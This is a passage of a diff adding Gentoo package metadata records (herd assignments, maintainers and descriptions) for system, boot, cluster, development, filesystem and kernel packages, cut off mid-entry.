+<pkgmetadata pkgname="sys-apps/mkinitrd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/module-init-tools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/modutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mondo-rescue">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mondo">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/most">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mpi350-driver">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mtree">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mtx">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/nbd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/nbench">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/net-tools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/netkit-base">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/nictools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/noflushd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pam-login">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/parted">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/partimage">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pbbuttonsd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pciutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pcmcia-cs-drivers">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pcmcia-cs-tools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pcmcia-cs">
+<herd>mobile</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pcsc-lite">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pcsc-slb-rf72-drv">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/pmud">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/policycoreutils">
+<herd>hardened</herd>
+<maintainer>
+	<email>pebenito@gentoo.org</email>
+	<name>Chris PeBenito</name>
+	<description>Primary Maintainer</description>
+</maintainer>
+<longdescription>
+Policycoreutils contains the policy core utilities that are required
+for basic operation of a SELinux system.  These utilities include
+load_policy to load policies, setfiles to label filesystems, newrole
+to switch roles, and run_init to run /etc/init.d scripts in the proper
+context.
+
+Gentoo-specific tools include rlpkg for relabeling packages by name,
+avc_toggle to toggle between enforcing and permissive modes, and
+avc_enforcing to query the current mode of the system, enforcing or
+permissive.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/portage">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/powerbook-tools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/powerpc-utils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/powerprefs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/procps">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/psmisc">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/qingy">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/qpage">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/qtparted">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/quota">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/radeontool">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ren">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/rename">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/reoback">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/rng-tools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/rsbac-admin">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/s3switch">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/sal-client">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/schedutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/sed">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/setserial">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/sh-utils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/shadow">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/slocate">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/smartmontools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/sparc-utils">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+sparc-utils is a set of utilities from Debian GNU/Linux that includes; 
+audioctl, elftoaout, piggyback, piggyback64, prtconf, and eeprom.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/speedfreq">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/stat">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/subterfugue">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/supersed">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/supervise-scripts">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/syscriptor">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/systrace">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/sysutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/sysvinit">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tcb">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tcng">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tcp-wrappers">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/texinfo">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/textutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/thinkpad">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tic98">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/time">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tinylogin">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tmpreaper">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tpb">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/tpctl">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ucspi-proxy">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ucspi-tcp">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ucspi-unix">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/usbd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/usbutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/usermode-utilities">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/utempter">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/util-linux">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/vcron">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/vixie-cron">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/watchpid">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/which">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/x86info">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/xinetd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/xmbmon">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/yard">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/aboot">
+<herd>alpha</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/dvhtool">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/grub-static">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/grub">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/lilo">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/milo">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+On Intel based PC systems, the BIOS firmware sets up the system and then loads the image to be run from the boot block of a DOS file system. This is more or less what MILO does on an Alpha based system, however there are several interesting differences between BIOS firmware and MILO, not least of which is that MILO includes and uses standard Linux device drivers unmodified. MILO is firmware, unlike LILO, which relies on the BIOS firmware to get itself loaded.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/nettrom">
+<herd>embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/palo">
+<herd>hppa</herd>
+<longdescription>
+The PArisc Linux Loader
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/quik">
+<herd>ppc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/silo">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+SILO is the SPARC/UltraSPARC Improved Loader, a boot loader for sparc similar to LILO.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-boot/yaboot">
+<herd>ppc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/cppvm">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/drbd">
+<herd>cluster</herd>
+<maintainer>
+  <email>cluster@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/fake">
+<herd>cluster</herd>
+<maintainer>
+  <email>cluster@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/ganglia-monitor-core">
+<herd>cluster</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/gomd-cvs">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/gomd">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/heartbeat">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Heartbeat is a cluster manager to handle failover of 2 nodes.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/ipvsadm">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Administration tools for linux virtual server clusters
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/keepalived">
+  <herd>cluster</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    VRRP2 implementation. Used for setting up high availability clusters.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/lam-mpi">
+<herd>cluster</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/mosix-user">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/mpich">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/mpiexec">
+<herd>cluster</herd>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/openmosix-user">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/openmosixtest">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/openmosixview">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/openpbs">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/pvm">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-cluster/xpvm">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/autoconf">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/automake">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/bc">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/bin86">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/binutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/bison">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/cc-config">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/cons">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/crossdev">
+	<herd>no-herd</herd>
+	<maintainer>
+		<email>kumba@gentoo.org</email>
+		<name>Primary Maintainer</name>
+	</maintainer>
+	<longdescription>
+		crossdev is a script which generates cross-toolchains for other architectures
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/distcc">
+<herd>cluster</herd>
+<maintainer>
+  <email>lisa@gentoo.org</email>
+<name>Lisa Seelye</name>
+<!-- <description>Description of the maintainership</description> -->
+</maintainer>
+<longdescription>Distcc is a program to distribute compilation of C code across several machines on a network</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/egcs64-sparc">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+egcs64-sparc is the C compiler used for compiling kernels for UltraSparcs.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/flex">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gcc-compat">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gcc-config">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gcc-mips64">
+	<herd>mips</herd>
+	<maintainer>
+		<email>mips@gentoo.org</email>
+		<name>Mips Team</name>
+	</maintainer>
+
+	<longdescription>
+		gcc-mips64 is a package which will build a mips64 kernel compiler toolchain
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gcc-sparc64">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+gcc-sparc64 is a package which will build a sparc64 kernel compiler toolchain
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gcc">
+<herd>gcc-porting</herd>
+<maintainer>
+<email>gcc-porting@gentoo.org</email>
+<name>GCC Porting Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gdb">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gecc">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gettext">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/gnuconfig">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/hardened-gcc">
+
+	<herd>hardened</herd>
+
+	<maintainer>
+		<email>pappy@gentoo.org</email>
+		<name>Alexander Gabert</name>
+		<description>Primary Maintainer</description>
+	</maintainer>
+
+	<longdescription>
+		This package provides etdyn and propolice compiled binaries, see http://www.gentoo.org/proj/en/hardened/etdyn-ssp.xml
+	</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/kgcc">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/libperl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/libtool">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/m4">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/make">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/makepp">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/odinmp">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/omni">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/oskit">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/patch">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/pmake">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/prelink">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/sparc32">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+sparc32 is a utility from Dabian GNU/Linux that changes the output of uname to look like it's running on a 32-bit sparc computer.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-devel/spython">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/convertfs">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/cramfs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/dd-rescue">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/devfsd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/dosfstools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/e2fsprogs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/efsd">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Efsd, the Enlightenment File System Daemon, is a daemon that provides commonly 
+needed file system functionality to one or more clients. It comes as a library that 
+clients (like e17) use, sending commands to the daemon, which asynchronously reports 
+back the outcome of the commands when their execution is finished. Efsd therefore 
+decouples the client 100% from any file system related tasks (which means that you 
+will for example not see a GUI application hang, assuming it is coded sanely), 
+specifically, it does the following:
+
+* Implements basic file operations (ls, cp, rm, ln -s, stat ...), with a 
+flexible option passing system to provide equivalents of recursive processing, force 
+options, alphabetical sorting etc.
+
+* Reports file change events, currently using FAM, so that a client gets instant 
+reports when files are removed, deleted, renamed etc. I've looked at BSD's kqueue 
+mechanism and Linux 2.4's dnotify, and it seems Rusty and his friends at SGI are 
+planning on adding direct support for these to FAM (well, at least for the kqueue 
+mechanism).
+
+* Delivers file type requests to the clients, i.e. clients ask for a file's 
+type, and Efsd does its best to come up with a good reply. Efsd extends the concept 
+of MIME types for data type specification to more than two levels (e.g. 
+&quot;image/gif/89a&quot;), to allow arbitrary levels of granularity. A three-tiered approach 
+is used to determine the file type, not unlike the way the Unix file(1) command 
+works. These three levels are tried in order of decreasing reliability:
+
+  o First, the result of stat() and statfs() calls are checked to see if a file is a 
+directory, socket, fifo etc. In that case, a reply like &quot;ext2/directory&quot; is 
+reported.
+
+  o If that didn't help, file magic is used to check for detailed file 
+characteristics. A database based on a magic file (check man magic for details) is 
+used to put together a detailed file type. Efsd can therefore deliver file types 
+with the same high level of granularity that file(1) provides, for example, asking 
+for an mp3's file type results in a reply as detailed as 
+audio/mp3/160-kbit-s/44-1-khz/jstereo. It is up to the client to make as much use of 
+the information as necessary.
+
+  o If that also didn't help, classic file name pattern matching is used, 
+e.g. anything *.foo is a foobar file etc.
+File type lookups are cached in order to increase performance.
+
+With a client that uses Efsd, no user will ever click on what seems to be an 
+mp3, accidentally executing a malicious script.
+
+* Handles setting and retrieval of arbitrary metadata, e.g. like 
+storing/querying for file icons, icon coordinates etc. The type of data to be 
+stored/retrieved is entirely up to the clients.
+
+* Can monitor metadata and sent events to the client when metadata entries 
+change.
+
+* Caches results of stat() calls to increase performance. FAM is used to let 
+Efsd know internally when a file has changed, so that cached stats can be updated.
+
+* Supports multiple clients. Besides the simpler case of regular fs commands, 
+Efsd implements filechange event (de-)multiplexing, i.e. file monitoring requests 
+are use-counted and resulting events are forwarded to the appropriate clients which 
+requested the monitoring. efsdsh, an interactive command line interface to libefsd 
+is a nifty little tool for testing things like these ...
+
+* Multi-threaded implementation, as long as POSIX threads (pthreads) are 
+available on a system.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/evms">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    evms is a volume management system written by IBM, it's open source
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/ext2resize">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/hfsplusutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/hfsutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/jfsutils">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>kernel@gentoo.org</email>
+    <name>kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    utilities for working with IBM's journaled file system
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/lde">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/linux-ntfs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/lufs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/lvm-user">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/lvm2">
+<herd>no-herd</herd>
+<maintainer>
+	<email>max@gentoo.org</email>
+	<name>Max Kalika</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/mtools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/ntfsprogs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/progsreiserfs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/raidtools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/reiserfsprogs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/sysfsutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/trustees">
+<herd>no-herd</herd>
+<maintainer>
+	<email>max@gentoo.org</email>
+	<name>Max Kalika</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/udev">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/udftools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/xfsdump">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-fs/xfsprogs">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/aa-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Andrea Arcangeli's kernel patchset. Good for servers. Has excellent hardware support.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/ck-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Con Kolivas' kernel sources, very good for destop use
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/compaq-sources">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+This ebuild has installed the sources for the Linux kernel shipped with the
+latest version of Red Hat Linux Alpha, maintained by Compaq.
+
+Compaq lag behind releases from kernel.org, but their kernels are
+extensively tested, and used by many thousands. This kernel will include
+bugfixes and extended hardware support, and is probably the most widely
+used Linux kernel on the Alpha Platform today.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/development-sources">
+<herd>no-herd</herd>
+<maintainer>
+  <email>johnm@gentoo.org</email>
+  <name>John Mylchreest</name>
+</maintainer>
+<longdescription>
+This is the vanilla test kernels.
+These keep up to date with the unstable kernel releases, and the snapshot
+releases if used under a testing mask (~x86)
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/gaming-sources">
+<herd>kernel</herd>
+<maintainer>
